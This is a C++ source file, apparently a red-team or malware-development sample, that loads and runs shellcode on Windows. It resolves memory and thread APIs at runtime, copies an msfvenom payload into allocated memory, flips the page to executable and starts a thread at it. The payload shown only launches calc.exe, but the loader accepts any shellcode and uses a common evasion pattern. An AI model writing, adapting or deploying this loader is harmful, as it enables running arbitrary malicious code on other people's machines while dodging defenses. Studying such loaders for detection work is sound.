DynamicShellInject.cpp

DynamicShellInject.cpp

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
    HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
    HMODULE hNtdll = GetModuleHandle("ntdll.dll");
	DWORD oldprotect;
    // Function pointers typedefs
    typedef LPVOID (WINAPI *VirtualAlloc_t)(
        LPVOID lpAddress,
        SIZE_T dwSize,
        DWORD  flAllocationType,
        DWORD  flProtect
    );

    typedef void (WINAPI *RtlMoveMemory_t)(
        LPVOID Destination,
        const void* Source,
        SIZE_T Length
    );

    typedef BOOL (WINAPI *VirtualProtect_t)(
        LPVOID lpAddress,
        SIZE_T dwSize,
        DWORD  flNewProtect,
        PDWORD lpflOldProtect
    );

    typedef HANDLE (WINAPI *CreateThread_t)(
        LPSECURITY_ATTRIBUTES   lpThreadAttributes,
        SIZE_T                  dwStackSize,
        LPTHREAD_START_ROUTINE  lpStartAddress,
        LPVOID                  lpParameter,
        DWORD                   dwCreationFlags,
        LPDWORD                 lpThreadId
    );

    // Resolve the functions from their modules
    VirtualAlloc_t   pVirtualAlloc   = (VirtualAlloc_t)GetProcAddress(hKernel32, "VirtualAlloc");
    RtlMoveMemory_t  pRtlMoveMemory  = (RtlMoveMemory_t)GetProcAddress(hNtdll, "RtlMoveMemory");
    VirtualProtect_t pVirtualProtect = (VirtualProtect_t)GetProcAddress(hKernel32, "VirtualProtect");
    CreateThread_t   pCreateThread   = (CreateThread_t)GetProcAddress(hKernel32, "CreateThread");

    if (!pVirtualAlloc || !pRtlMoveMemory || !pVirtualProtect || !pCreateThread) {
        printf("Failed to resolve one or more functions.\n");
        return -1;
    }

    // msfvenom -p windows/x64/exec CMD=calc.exe -f C           
	unsigned char payload[] = 
	"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
	"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
	"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
	"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
	"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
	"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
	"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
	"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
	"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
	"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
	"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
	"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
	"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
	"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
	"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
	"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
	"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
	"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
	"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
	"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

    unsigned int payload_len = sizeof(payload);

    // Allocate memory, copy payload, set permissions, and execute
    void* exec_mem = pVirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    pRtlMoveMemory(exec_mem, payload, payload_len);
    BOOL rv = pVirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

    if (rv != 0) {
        HANDLE th = pCreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
        WaitForSingleObject(th, -1);
    }

    return 0;
}